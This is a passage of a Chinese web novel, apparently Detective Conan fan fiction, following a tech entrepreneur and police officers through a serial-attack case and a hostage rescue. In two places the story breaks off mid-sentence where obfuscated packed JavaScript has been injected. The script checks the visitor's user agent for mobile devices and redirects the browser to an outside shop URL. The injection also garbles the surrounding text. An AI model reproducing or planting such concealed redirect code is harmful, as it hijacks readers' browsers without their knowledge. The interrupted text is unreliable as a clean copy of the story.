周围的警员们也纷纷围过来,好奇地观察着这台小巧却功能强大的设备。有人忍不住问道:“玥涵小姐,这台设备什么时候能批量生产?我们都想尽快用上。”玥涵笑着回应:“目前已经完成了研发和测试,只要和警视厅达成合作,我们就能立刻启动批量生产。后续如果有需要,我们还可以根据实际使用场景,进行定制化优化。” 测试结束后,玥涵跟着松田阵平、伊达航来到了警视厅的会议室,进行合作洽谈。会议室里,警视厅的相关负责人已经等候多时。玥涵将星涵科技的合作方案分发给众人,方案里详细说明了设备的性能参数、价格、交货周期以及后续的技术支持和维护服务。 “玥涵小姐,我们对设备的性能很满意。”负责采购的负责人率先开口,“但我们有一些定制化需求。比如,希望设备能增加团队共享定位功能,方便警员之间的协同作战;另外,设备的续航能力也需要提升,毕竟我们执行任务时,可能需要长时间使用。” 玥涵认真地记录下负责人提出的需求,思考了片刻后,语气坚定地说:“这些定制化需求我们都可以满足。团队共享定位功能可以通过软件升级实现,我们的研发团队一周内就能完成优化;续航能力方面,我们可以更换更高容量的电池,同时优化设备的功耗,确保设备能满足长时间使用的需求。” “效率这么高?”负责人有些惊讶,一般的科技公司面对这样的定制化需求,至少需要半个月以上的时间才能给出答复,没想到玥涵当场就承诺一周内完成优化。玥涵笑着解释:“我们的研发团队全程参与了设备的研发,对设备的结构和软件系统非常熟悉,优化起来相对高效。而且,警视厅的需求很明确,也很有针对性,这也能加快优化进度。” 洽谈过程很顺利,双方很快就达成了初步的合作意向。警视厅决定先采购一批设备进行试点使用,如果使用效果良好,再签订长期的合作协议。散会后,伊达航拍了拍玥涵的肩膀,语气真诚:“玥涵小姐,你的公司很有前景。星涵科技的设备不仅性能优越,你的服务态度也很专业。以后警视厅的技术支持,我们优先考虑星涵科技。” “谢谢伊达警官的认可。”玥涵笑着道谢,心中满是成就感。她转头看向站在一旁的松田阵平,正好对上他温柔的目光。松田阵平走到她身边,没有多说什么,只是轻轻握住她的手,指尖传来的温热触感,让她瞬间感受到了满满的支持和鼓励。 夕阳西下,金色的余晖透过警视厅的落地窗洒进来,将两人的身影拉得很长。松田阵平牵着玥涵的手,慢慢走在警视厅的走廊里。走廊里很安静,只有两人的脚步声轻轻回荡。“我就知道你一定可以。”松田阵平轻声开口,语气里满是骄傲,“从你提出创办科技公司的想法,到现在成功研发出设备,还和警视厅达成合作,你一直都在给我惊喜。” 玥涵靠在他的肩膀上,语气柔软:“这也离不开你的支持。如果不是你帮我整理警方的需求清单,我也没办法这么精准地确定研发方向。”她抬起头,看着松田阵平棱角分明的侧脸,夕阳的余晖落在他的脸上,柔和了他平日里冷硬的轮廓,让他看起来格外温柔。 涵味居总店的门帘刚拉开,就有熟客带着晨露的寒气走进来,熟稔地喊着要一碗热馄饨。玥涵系着围裙站在柜台后,笑着应承着,指尖在点餐板上轻快地记录,眼角的余光瞥见窗外,松田阵平的黑色轿车正缓缓停在路边。 “今天怎么这么早?”玥涵迎出去,自然地接过他递来的公文包,鼻尖萦绕着他身上淡淡的雪松味,混杂着清晨的凉意。松田阵平伸手替她拂去肩头沾染的碎雾,语气带着晨起的沙哑,却依旧温柔:“上午没任务,特意绕路来接你去星涵科技。”他的目光扫过店内温暖的烟火气,落在她泛红的鼻尖上,补充道,“外面凉,等下出发记得加件外套。” 两人并肩坐在窗边的老位置,一碗热气腾腾的馄饨端上桌,氤氲的热气模糊了窗玻璃。松田阵平看着玥涵小口吹凉馄饨的模样,指尖轻轻敲了敲桌面:“警视厅的试点设备反馈很好,伊达刚才还跟我说,想尽快推进批量采购的事。”玥涵眼中闪过一丝欣喜,咽下口中的馄饨:“太好了!我让陈默那边提前准备好生产线,确保能按时交货。” 阳光渐渐驱散薄雾,透过窗棂落在两人身上,勾勒出温暖的轮廓。星涵科技步入正轨,警民合作顺利推进,涵味居的生意也依旧红火,这样安稳又充满希望的日子,是玥涵来到这个世界后,最踏实的时光。她低头舀起一勺馄饨汤,温热的汤汁滑过喉咙,心中满是岁月静好的安稳。却没料到,这份平静,会在午后被一场突如其来的凶讯彻底打碎。 下午三点,星涵科技的研发实验室里,玥涵正和陈默讨论着设备优化的细节。陈默指着电脑屏幕上的代码,语速飞快地分析着团队共享定位功能的优化方案,玥涵认真地听着,时不时点头提出修改意见。实验室里只有键盘敲击的轻响和两人的讨论声,安静而专注。 突然,玥涵的手机急促地响了起来,屏幕上跳动着“松田阵平”的名字。她心中一紧,立刻接起电话,听筒里传来的松田阵平的声音,不复往日的温和,带着明显的凝重:“玥涵,你现在在哪里?待在原地不要动,我让伊达派警员过去保护你。” “怎么了?发生什么事了?”玥涵的心跳瞬间加速,指尖不自觉地攥紧了衣角。陈默也停下了手中的动作,抬头看向她,眼中满是疑惑。“米花町发生了连环袭击案,已经有两名受害者了。”松田阵平的声音透过听筒传来,带着一丝不易察觉的急促,“更关键的是,这两名受害者都和毛利小五郎有关,而你之前因为田中先生的案子,和毛利家有过交集,可能会被凶手列为潜在目标。” 连环袭击案?毛利小五郎?玥涵的脑海里瞬间炸开,系统尖锐的预警声紧接着响起:“警告!检测到《第十四个目标》剧情正式开启!凶手作案动机与多年前医疗事故相关,目标明确、手段残忍,宿主及任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十分钟后,伊达航派来的两名警员准时到达星涵科技。玥涵通过办公室的监控确认了警员的身份后,才打开门让他们进来。“玥涵小姐,我们会在公司门口和走廊值守,你放心待在办公室里。”警员的语气沉稳,给人一种可靠的感觉。玥涵点了点头:“辛苦你们了。” 接下来的几个小时,玥涵一直待在办公室里,一边关注着技术团队反馈的监控信息,一边时不时给松田阵平发消息,确认他的安全。松田阵平的回复总是很简短,大多是“我没事”“在忙”,但每一条回复,都能让玥涵紧绷的神经稍稍放松。她知道,此刻的松田阵平,一定正在案发现场和嫌疑人的社会关系中穿梭,与时间赛跑,寻找凶手的踪迹。 傍晚时分,天色渐渐暗了下来,窗外的街道上亮起了路灯,却显得格外冷清。连环袭击案的阴影笼罩着整个米花町,原本热闹的街道,此刻行人寥寥,每个人的脸上都带着警惕和不安。玥涵收到了松田阵平的消息:“案件有了一些进展,我现在过去找你,带你回家。” 看到消息的那一刻,玥涵悬着的心终于稍稍放下。她收拾好东西,走到公司门口,两名警员正在门口值守,看到她出来,点了点头:“松田警官已经在楼下了。”玥涵道谢后,快步走进电梯。电梯下降的过程中,她看着镜面里自己略显苍白的脸,深吸一口气,强迫自己露出一个平静的笑容——她不想让松田阵平看到自己的不安,增加他的负担。 走出写字楼,就看到松田阵平的黑色轿车停在路边。他靠在车身上,穿着黑色的夹克,脸色有些疲惫,眼底带着淡淡的红血丝,看到玥涵的身影,眼中瞬间闪过一丝温柔,快步走上前。“没事吧?”他伸手握住她的手,感受到她指尖的微凉,眉头微微皱起,将她的手揣进自己的口袋里取暖。 “我没事,就是有点担心你。”玥涵抬头看着他疲惫的脸庞,心中涌起一股心疼。松田阵平牵着她的手,打开车门让她坐进去,自己则绕到驾驶座。车内的暖气开得很足,驱散了身上的寒意。松田阵平发动车子,缓缓驶离写字楼,语气低沉地说起案件的进展:“我们查到,两名受害者都是当年一起医疗事故的相关人员,而毛利小五郎,是当年负责那起事故的警察之一。凶手的目标很明确,就是报复当年所有与事故相关的人。” “那接下来,凶手还会继续袭击其他人吗?”玥涵轻声问道。“很有可能。”松田阵平的语气凝重,“我们已经成立了专项小组,全力追踪凶手的踪迹,同时也安排了警员保护所有与事故相关的人员。你放心,我已经跟伊达打过招呼,会有专人保护你和涵味居、星涵科技的安全。” 车子驶进熟悉的小区,停在公寓楼下。松田阵平牵着玥涵的手走进电梯,电梯里的灯光柔和,映着两人的身影。“对不起,让你卷入这样的危险中。”松田阵平的声音带着一丝愧疚,他轻轻将玥涵拥入怀中,下巴抵在她的发顶,“以后我每天都去接你上下班,不管是星涵科技还是涵味居,都不会让你单独行动。” 12. 第 12 章 研发团队已经全员下班,只有她还留在办公室,核对智能侦查仪优化后的最终参数——为了尽快满足警视厅的定制需求,她特意加了个班。 窗外的米花町已经亮起万家灯火,街道上的车流汇成金色的河流,缓慢地流淌着。玥涵保存好文件,关掉电脑,拿起搭在椅背上的背包,走到办公室门口。门口值守的警员看到她出来,立刻站直身体:“玥涵小姐,需要我们送你回去吗?”“不用麻烦你们了,我自己开车回去就好。”玥涵笑着婉拒,“松田应该也快忙完了,我们约好了在他公寓汇合。” 警员点了点头,护送她走到写字楼地下停车场。玥涵解锁自己的白色轿车,坐进驾驶座,发动车子前,特意检查了一遍车内安装的星涵科技预警系统——这是她专门为自己的车定制的,能实时监测周围车辆的异常跟踪行为,还能一键发送定位给指定联系人。此刻系统显示一切正常,她才放下心,缓缓驶出停车场。 夜风吹过街道,卷起几片枯黄的落叶,打在车窗上,发出轻微的声响。车内的暖气开得正好,舒缓的轻音乐在车厢内流淌,玥涵握着方向盘,眼神专注地看着前方的路况。连环袭击案的阴影还笼罩在城市上空,但想到松田阵平温暖的怀抱和即将到来的安稳夜晚,她心中的不安就消散了大半。 车子驶离繁华的商业区,转入一条相对僻静的支路——这是通往松田公寓的近路,平时车辆不多。玥涵轻轻踩下油门,车速稍稍加快。就在这时,后视镜里突然出现了一辆黑色轿车,车型老旧,没有悬挂车牌,正不远不近地跟在她的车后。 玥涵的心猛地一沉,下意识地放慢车速,黑色轿车也跟着减速;她加快车速,对方也立刻提速,始终保持着相同的距离。“不好。”她低声呢喃,瞬间想起松田阵平白天的叮嘱:“最近凶手的目标范围在扩大,尽量不要走僻静路段,遇到可疑车辆立刻联系我。” 她立刻打开车内的预警系统,系统屏幕上瞬间跳出红色警告:“检测到可疑车辆持续跟踪,距离50米,无车牌信息,存在极高安全风险!”玥涵的指尖微微颤抖,却强迫自己冷静下来。她一边稳稳地握着方向盘,一边伸手去拿手机,想要给松田阵平打电话。 就在这时,身后的黑色轿车突然加速,猛地撞上了她的车尾!“砰”的一声巨响,巨大的冲击力让玥涵的身体瞬间前倾,额头差点撞上方向盘。她惊出一身冷汗,下意识地踩下刹车,车子稳稳地停在了路边。还没等她反应过来,黑色轿车再次加速,又一次撞上了她的车尾,这一次的力道更大,像是要把她的车往前推。 玥涵紧紧咬着下唇,强压下心中的恐惧。她知道,对方是故意要逼停她。她立刻按下预警系统的一键定位发送按钮,将自己的实时位置传给了松田阵平,同时锁死车门,升起所有车窗。做完这一切,她抬起头,通过后视镜看去——黑色轿车的车门打开,一个穿着黑色连帽衫、戴着口罩的男人走了下来,手里还握着一把闪着寒光的匕首。 男人的身形高大,步伐沉稳,一步步走向玥涵的车,眼神凶狠地盯着车内。玥涵的心跳得像要冲出胸腔,她紧紧攥着方向盘,指尖因为用力而泛白。她仔细观察着男人的动作,同时在脑海里飞速思考着应对之策——这里地处偏僻,周围没有行人,喊救命大概率没人能听到;车子的油箱在后方,刚才被连续撞击,不知道有没有受损;预警系统已经发送了定位,松田阵平应该很快就能赶到,她现在要做的,就是拖延时间,保护好自己。 男人走到驾驶座窗边,用匕首的尖端用力敲击着车窗玻璃,发出刺耳的“哐哐”声。“开门!”男人的声音沙哑低沉,带着浓浓的恶意,“不然我砸破玻璃,把你拖出来!”玥涵没有回应,只是警惕地看着他,身体微微向后靠,尽量远离车窗。她知道,车窗玻璃虽然坚固,但也经不起匕首的反复敲击,必须想办法分散他的注意力。 她故意伸手去按车内的喇叭,刺耳的喇叭声在寂静的夜晚突然响起,吓了男人一跳。男人的动作顿了一下,眼神变得更加凶狠,加大了敲击玻璃的力度。“哐当”一声,车窗玻璃出现了一道细微的裂痕。玥涵的心提到了嗓子眼,她再次按下喇叭,同时打开车内的远光灯,对着男人的方向照射过去。强烈的光线让男人下意识地捂住眼睛,后退了几步。 就在这短暂的间隙,玥涵听到了远处传来的急促的汽车引擎声,越来越近,带着不容置疑的紧迫感。是松田阵平!她的眼中瞬间亮起希望的光芒,紧紧盯着声音传来的方向。很快,一辆熟悉的黑色轿车冲破夜色,疾驰而来,猛地停在黑色轿车的后方,轮胎与地面摩擦发出尖锐的声响。 松田阵平推开车门,快步跳下车,身上还穿着黑色的夹克,头发因为快速奔跑而有些凌乱,眼神却锐利如鹰,死死锁定着那个戴口罩的男人。“住手!”他大喊一声,声音洪亮,带着强烈的威慑力,“警察!不许动!”男人听到“警察”两个字,脸色一变,下意识地转头看向松田阵平,眼神里闪过一丝慌乱。 松田阵平没有给男人反应的机会,快步冲了上去。男人见状,知道自己不是对手,立刻转身就跑,沿着路边的小巷快速逃窜。松田阵平犹豫了一下,转头看了一眼玥涵的车,看到车窗上的裂痕和玥涵苍白的脸,最终还是放弃了追击——比起抓住凶手,玥涵的安全更重要。 他快步跑到玥涵的车边,用力敲了敲车窗:“玥涵,是我,开门。”玥涵看到他熟悉的脸庞,紧绷的神经瞬间崩溃,眼泪不受控制地涌了上来。她颤抖着按下解锁键,松田阵平立刻拉开车门,弯腰坐进副驾驶座,一把将她紧紧拥入怀中。 “别怕,我来了,没事了。”松田阵平的声音带着一丝不易察觉的颤抖,能感受到他身体的紧绷和后怕。他紧紧地抱着玥涵,力道大得像是要将她嵌进自己的骨血里,手掌轻轻拍着她的后背,动作轻柔地安抚着。玥涵靠在他的怀里,听着他沉稳有力的心跳声,感受着他身上熟悉的雪松味,所有的恐惧和委屈都化作泪水,浸湿了他的夹克。 “松田……我好害怕……”她的声音带着浓重的哭腔,身体还在微微颤抖。“对不起,是我来晚了。”松田阵平的声音里满是愧疚,他低头在她的发顶印下一个滚烫的吻,“以后再也不会让你一个人了,我每天都去接你下班,不管多忙,都会陪着你。” 两人在车内相拥了很久,玥涵的情绪才渐渐平复下来。松田阵平轻轻擦掉她脸上的泪水,捧着她的脸,仔细检查着她的身体:“有没有受伤?哪里不舒服?”玥涵摇了摇头,声音还有些沙哑:“我没事,就是刚才被撞的时候吓了一跳。幸好你来得及时。” 松田阵平拿出手机,拨通了伊达航的电话,语气凝重地说:“伊达,我是松田。玥涵在XX支路遇到袭击,嫌疑人是连环袭击案的凶手,穿着黑色连帽衫,戴口罩,手持匕首,刚刚沿着东边的小巷逃跑了,你们尽快派人过来封锁现场,展开搜捕。”挂了电话后,他又仔细检查了玥涵的车,发现车尾受损严重,油箱没有大碍,才松了口气。 “我先送你回我的公寓。”松田阵平发动自己的车,让玥涵坐进自己的车里,又打电话叫了拖车,将玥涵的车拖去维修。 玥涵蜷缩在沙发上,身上盖着松田的黑色夹克,鼻尖还萦绕着他身上淡淡的雪松味,这让她昨晚受惊的心绪彻底平复下来。茶几上放着一杯温热的牛奶,是松田一早起来准备的,杯壁还残留着他指尖的温度。 “醒了?”松田阵平端着早餐从厨房走出来,看到她睁着眼睛发呆,嘴角扬起一抹温柔的笑意。他将煎好的吐司和煎蛋放在餐盘里,递到玥涵面前,“先吃点东西,昨晚没休息好,垫垫肚子。”玥涵坐起身,接过餐盘,看着他眼底淡淡的红血丝,心中涌起一股心疼:“你昨晚也没睡好吧?是不是一直在处理袭击案的后续?” “还好,伊达他们已经安排了人手搜捕嫌疑人。”松田阵平坐在她身边,伸手拂去她额前凌乱的碎发,语气带着一丝愧疚,“昨晚让你受委屈了。”玥涵摇摇头,拿起吐司咬了一口,软糯的口感在舌尖化开:“我没事,有你在就好。而且,我已经想到办法追查嫌疑人的线索了。”她放下餐盘,眼神变得坚定,“星涵科技的监控系统覆盖范围很广,我可以调取昨晚遇袭小巷附近所有的监控录像,说不定能找到嫌疑人的踪迹。” 吃完早餐,两人驱车前往星涵科技。走进研发实验室,陈默已经早早地在工作了。看到玥涵和松田阵平走进来,他立刻迎上去:“玥涵姐,你没事吧?松田警官昨晚联系我,让我提前调取了相关区域的监控,正在整理分析。”玥涵心中一暖,没想到松田阵平昨晚不仅担心她的安全,还提前安排好了线索排查的事。 “辛苦你了,陈默。”玥涵走到电脑前,看着屏幕上滚动的监控画面,“重点排查那辆黑色无牌轿车的行驶轨迹,还有嫌疑人的身形特征,另外,注意查看车辆的底盘编号——无牌车大多会伪造身份,但底盘编号很难更改,这可能是关键突破口。”陈默点点头,立刻调整分析方向,手指在键盘上飞快地敲击着,屏幕上的监控画面被不断放大、比对。 松田阵平站在一旁,看着玥涵专注工作的侧脸,眼中满是欣赏。她总是这样,无论遇到多大的危险,都能快速冷静下来,并且总能找到解决问题的办法。就在这时,松田阵平的手机响了起来,是伊达航打来的:“松田,有新情况。我们查到,昨晚袭击玥涵小姐的嫌疑人,很可能和连环袭击案的凶手是同一个人,而且这个凶手,可能与多年前的一起医疗事故有关。” “医疗事故?”松田阵平的眉头紧紧皱起,“具体是什么情况?”“我正在调取相关的旧案档案,但部分资料缺失,需要等支援。”伊达航的声音透过听筒传来,带着一丝凝重,“对了,诸伏因为公安的任务,也加入了这次的调查,他已经在过来的路上了,我们在星涵科技汇合,一起分析线索。”挂了电话,松田阵平将情况告诉了玥涵,玥涵的心中瞬间闪过系统之前的提示——《第十四个目标》的凶手,正是为了报复当年医疗事故的相关人员。 “我想起来了,”玥涵抬头看向松田阵平,语气认真,“之前系统提示过,这次连环袭击案的凶手,动机就是报复当年医疗事故的相关人员。毛利小五郎当年也参与过这起事故的调查,所以才会成为凶手的目标之一。”松田阵平眼中闪过一丝惊讶,随即点了点头:“这样一来,案件的脉络就清晰多了。等伊达和诸伏到了,我们再详细梳理。” 不到半小时,伊达航和诸伏景光就赶到了星涵科技。诸伏景光依旧穿着浅灰色的休闲西装,气质温和,手里拿着一个厚厚的档案袋。“玥涵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007642|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐,你没事吧?”看到玥涵,他率先开口询问,语气里带着真诚的关心。玥涵笑了笑:“谢谢你的关心,我没事,辛苦你们特意跑一趟。” 五人走进星涵科技的会议室,将档案袋和电脑里的监控资料都放在会议桌上。诸伏景光打开档案袋,拿出一叠泛黄的资料:“这是当年医疗事故的旧案档案,我通过公安的渠道调取到的。当年的事故造成了一人死亡,死者正是这次连环袭击案凶手的亲人。”他将一张老照片放在桌上,照片上是一个笑容温和的女人,“死者是凶手的姐姐,当年因为医生的误诊和治疗不当,最终去世。而参与这起事故调查、治疗的相关人员,正是目前连环袭击案的受害者,或者潜在目标。” 伊达航拿起档案资料,仔细翻看着:“我们之前查到的几名受害者,都在这份资料里。毛利小五郎当年负责调查这起事故的后续纠纷,所以也被凶手列入了目标名单。玥涵小姐因为和松田、毛利家有交集,才会被凶手盯上。”松田阵平的脸色瞬间变得凝重,握着玥涵的手不自觉地用力——他绝不能让玥涵再受到任何伤害。 “我已经调取了昨晚遇袭小巷附近所有的监控录像,”玥涵将电脑屏幕转向众人,点击播放监控画面,“这辆黑色轿车就是嫌疑人的车辆,虽然没有悬挂车牌,但我们通过技术手段放大了车辆底盘的画面,找到了清晰的底盘编号。陈默已经在根据这个编号追查车辆的原始信息了。”屏幕上,黑色轿车的底盘编号清晰可见,诸伏景光凑近看了一眼,眼神微微一凝:“这个编号有点眼熟,我好像在之前的某份案件资料里见过。” 就在这时,会议室的门被轻轻推开,柯南的小脑袋探了进来。“松田警官,伊达警官,诸伏警官,玥涵姐姐。”他挥了挥手,快步走到会议桌旁,手里拿着一个笔记本,“我有新的发现,想跟你们分享。”松田阵平看到他,愣了一下,随即无奈地笑了笑:“你怎么来了?这里很危险,应该待在毛利先生身边。” “毛利叔叔他们有警员保护,很安全。”柯南仰起头,眼神认真,“我整理了所有受害者的被袭击时间和地点,发现了一个规律——凶手都是在受害者当年参与医疗事故的纪念日当天动手的。下一个纪念日就在三天后,对应的目标,应该是当年的主刀医生!”他将笔记本放在桌上,上面详细记录着受害者的信息和对应的纪念日,条理清晰,逻辑缜密。 众人看着笔记本上的记录,眼中都闪过一丝惊讶。伊达航忍不住赞叹:“小家伙,你观察得很仔细,这个发现对我们来说太重要了!”诸伏景光也点了点头:“如果这个规律成立,我们就能提前部署,保护好下一个目标,甚至有可能抓住凶手。” 玥涵看着柯南认真的样子,心中满是欣赏。她伸手摸了摸柯南的头:“柯南真厉害,这个发现帮了我们大忙。”柯南的脸颊微微泛红,有些不好意思地挠了挠头:“我也是偶然发现的。对了,我还查到,当年的主刀医生现在在米花町的一家私人医院工作,平时很少外出。” “现在情况紧急,我们必须立刻分工合作。”松田阵平的眼神变得锐利,开始安排任务,“伊达,你带着人手去保护当年的主刀医生,24小时贴身守护,绝对不能出任何差错。诸伏,你继续调取当年医疗事故的详细资料,尤其是所有相关人员的信息,排查有没有遗漏的潜在目标。” 他转头看向玥涵,语气变得温柔了几分:“玥涵,你和陈默继续追查黑色轿车的原始信息,通过星涵科技的监控系统,密切关注主刀医生所在医院周边的情况,有任何异常立刻通知我们。另外,你的智能侦查设备能不能派上用场?比如在医院周边部署一些,实时监测可疑人员。” “没问题。”玥涵立刻点头,“我让技术团队立刻调配一批智能侦查设备,部署在医院周边的关键位置,一旦检测到可疑人员或者□□残留,会第一时间发出预警。”陈默也跟着点头:“我会尽快查到黑色轿车的信息,同步给大家。” 最后,松田阵平看向柯南:“柯南,你负责协助我们梳理案件逻辑,有任何新的发现,及时告诉我们。但你要记住,绝对不能擅自行动,必须保证自己的安全。”柯南用力点头:“我知道了,松田警官!” 五人各司其职,立刻投入到紧张的工作中。会议室里的气氛虽然紧张,却充满了默契。伊达航带着档案资料,快步离开了星涵科技,前往主刀医生所在的医院;诸伏景光坐在电脑前,开始调取更详细的旧案资料,手指在键盘上飞快地敲击着;玥涵和陈默回到研发实验室,一边安排技术团队部署侦查设备,一边继续分析监控画面;柯南则坐在会议室里,拿着笔记本,重新梳理所有线索,试图找到凶手的作案规律。 松田阵平站在研发实验室的门口,看着玥涵专注工作的身影,心中满是坚定。这是他们五人第一次正式并肩作战,虽然时间紧迫,任务艰巨,但他相信,只要他们齐心协力,就一定能抓住凶手,保护好所有潜在目标。他走到玥涵身边,轻轻握住她的手:“注意休息,不要太累了。” 玥涵抬头看向他,眼中满是温柔:“我没事,你也要小心。去医院部署的时候,记得带上智能侦查设备,能帮你们排查危险。”松田阵平点了点头,在她的额头印下一个轻柔的吻:“放心,我会的。等抓住凶手,我们再好好休息。” 13. 第 13 章 诸伏景光指尖轻点,调出一张泛黄的旧照:“凶手名叫泽田英树,当年医疗事故中去世的泽田美绪,是他的亲姐姐。”照片上的年轻男人眉眼间带着化不开的阴郁,与监控中那个穿黑色连帽衫的身影渐渐重合。 “他的目标清单里,最后一个人就是当年的主刀医生。”伊达航一拳砸在桌面上,声音凝重,“但根据柯南的推理,他不会只针对医生,而是要将所有‘相关者’一网打尽——毛利小五郎、参与治疗的护士,甚至当年做过证的证人,都在他的报复名单里。”松田阵平的指尖无意识地摩挲着掌心,目光落在屏幕角落的一行信息上,脸色骤然沉了下来:“他最近频繁出入米花町那家‘深海之境’水下餐厅,那里很可能是他的最终据点。” 话音刚落,柯南的手机突然响起,是毛利兰打来的,听筒里的声音带着明显的颤抖:“柯南,你快来!我们在深海之境餐厅被人劫持了,爸爸他……他被凶手用刀抵着!”电话那头传来玻璃器皿碎裂的声响,还有男人低沉的嘶吼,随即信号戛然而止。 “不好!”松田阵平猛地站起身,抓起椅背上的外套就往外走,“伊达、诸伏,立刻带队出发!玥涵,你带着干扰设备跟上,注意安全!”玥涵早已将星涵科技的便携式信号干扰仪塞进背包,闻言立刻跟上他的脚步,指尖因为紧张而微微发凉,却还是强迫自己冷静:“我已经把设备调试到最佳状态,能远程干扰50米内的无线信号,包括炸弹遥控器。” 警笛声划破米花町的夜空,三辆警车朝着海边的深海之境餐厅疾驰而去。车内,松田阵平紧握着方向盘,眼神锐利如鹰,脑海里不断闪过玥涵遇袭时的画面,心脏像是被一只无形的手攥紧——这一次,无论如何都不能让任何人再受到伤害。玥涵坐在副驾驶座上,悄悄握住他的手腕,温热的触感让松田阵平紧绷的神经稍稍舒缓,他侧头看了她一眼,眼底的焦虑中藏着一丝温柔:“待会儿你待在安全区域,不要靠近餐厅内部。” 深海之境餐厅坐落于海边的半地下建筑中,主体区域被巨大的亚克力玻璃包裹,外侧就是湛蓝的海水,成群的热带鱼在水中游弋,本该是浪漫惬意的用餐地,此刻却成了令人窒息的囚笼。餐厅入口被两名伪装成服务员的同伙把守,玻璃门内,隐约能看到人影晃动,气氛压抑到了极点。 伊达航率先下车,示意警员们在周围布控,形成包围圈,自己则和松田阵平、诸伏景光躲在入口旁的隐蔽处观察。“里面光线很暗,看不清具体情况。”诸伏景光低声说,从口袋里拿出一个微型望远镜,“能看到人质被集中在中央区域,泽田英树手里拿着一个黑色遥控器,应该是炸弹控制器。” 玥涵走到他们身边,将背包里的干扰设备拿出来,调试好参数:“这个设备的有效范围刚好能覆盖整个餐厅,我可以在这里远程启动,但启动后会持续发出微弱信号,可能会被他察觉。”松田阵平点了点头,眼神坚定:“时机成熟我会给你信号,你一旦收到指令,立刻启动设备。” 就在这时,餐厅的玻璃门被推开,泽田英树拖着毛利小五郎走了出来,一把将他推到门口的空地上,手中的匕首紧紧抵在他的脖颈处,鲜血顺着毛利小五郎的脖颈滑落,染红了他的衬衫。“都给我退后!”泽田英树嘶吼着,声音因为激动而变得扭曲,“谁再往前一步,我就杀了他!” 毛利兰的哭声从餐厅里传来:“爸爸!”柯南混在人质中,悄悄观察着泽田英树的动作,试图寻找突破口。松田阵平缓缓举起双手,向前迈出一步,语气尽量平缓:“泽田英树,我们知道你姐姐的事,当年的医疗事故确实对你造成了很大的伤害,但伤害你姐姐的人已经受到了应有的惩罚,你这样做,只会让更多人失去亲人,和你当年的痛苦一样。” “惩罚?他们根本没有受到真正的惩罚!”泽田英树的情绪更加激动,匕首又往毛利小五郎的脖颈处逼近了几分,“那个医生依旧活得逍遥自在,毛利小五郎当年草草结案,根本没有还我姐姐公道!我今天就要让他们所有人,都为我姐姐陪葬!”他按下遥控器上的一个按钮,餐厅内传来“嘀嘀”的警报声,亚克力玻璃外侧的海水开始泛起气泡——他竟然在餐厅的水下结构处安装了炸弹,一旦引爆,整个餐厅都会被海水淹没,所有人质都将葬身海底。 “你冷静点!”伊达航大声喊道,“你要是杀了人,就再也没有机会为你姐姐讨回公道了!我们可以重新调查当年的案子,给你一个交代!”泽田英树却根本不相信,疯狂地笑着:“交代?我不需要你们的交代!我只要他们死!” 松田阵平的目光紧紧盯着泽田英树手中的遥控器,悄悄给玥涵使了个眼色。玥涵立刻明白了他的意思,指尖悬在干扰设备的启动按钮上,屏住了呼吸。松田阵平继续开口,故意拖延时间:“当年的案子还有很多疑点,你姐姐的病历我们已经找到了,上面有很多不合理的地方,或许还有其他隐情。” “隐情?什么隐情?”泽田英树果然被吸引了注意力,语气中带着一丝疑惑。就在这短暂的停顿瞬间,松田阵平猛地抬手,一枚麻醉针从他手中的袖珍发射器中射出,精准地命中了泽田英树的手臂。泽田英树吃痛,手中的匕首微微松动,毛利小五郎趁机挣扎着想要躲开。 “就是现在!”松田阵平大喊一声。玥涵立刻按下启动按钮,干扰设备瞬间运转,发出微弱的电磁波。泽田英树察觉到不对,立刻想要按下遥控器的引爆按钮,却发现遥控器屏幕突然黑屏,无论怎么按都没有反应。“怎么回事?我的遥控器怎么失灵了?”他惊恐地看着手中的遥控器,眼中满是难以置信。 伊达航和诸伏景光抓住这个机会,同时冲了上去。伊达航一记利落的扫堂腿,将泽田英树绊倒在地,诸伏景光立刻上前,死死按住他的手臂,夺下了他手中的匕首和遥控器。泽田英树还在疯狂挣扎,嘶吼着:“我不会放过你们的!我要让你们都死!” 松田阵平没有理会他,快步冲进餐厅,第一时间找到了蜷缩在角落的玥涵——她担心里面的情况,在启动设备后悄悄跟了进来。“你怎么进来了?不是让你待在外面吗?”松田阵平的语气带着一丝责备,更多的却是心疼,他紧紧握住玥涵的手,检查着她有没有受伤。 “我担心你。”玥涵的声音带着一丝颤抖,却眼神坚定地看着他,“我知道我能帮上忙。”松田阵平心中一暖,将她揽入怀中,在她的额头印下一个轻柔的吻:“谢谢你,玥涵。有你在,我才能安心。” 餐厅内的警员们已经开始疏散人质,柯南正帮着安抚受惊的孩子们。毛利兰看到玥涵,立刻跑了过来,紧紧抱住她:“玥涵姐姐,谢谢你救了我们!刚才真的好害怕。”玥涵轻轻拍着她的背,温柔地说:“没事了,都过去了。你有没有受伤?”毛利兰摇摇头,眼眶泛红:“我没事,就是担心爸爸。” 医护人员很快赶到,为受伤的毛利小五郎处理伤口。松田阵平走到泽田英树面前,看着被警员押着的他,语气冰冷:“你以为这样就能为你姐姐报仇吗?你姐姐如果泉下有知,也不会希望你用这样的方式伤害别人。”泽田英树低下头,肩膀微微颤抖,不知道是愤怒还是悔恨。 警员们开始拆除餐厅内的炸弹,专业的拆弹人员小心翼翼地将水下结构处的炸弹取下来,交给技术人员处理。亚克力玻璃外侧的海水渐渐恢复平静,热带鱼依旧在水中游弋,仿佛刚才的生死较量从未发生过。 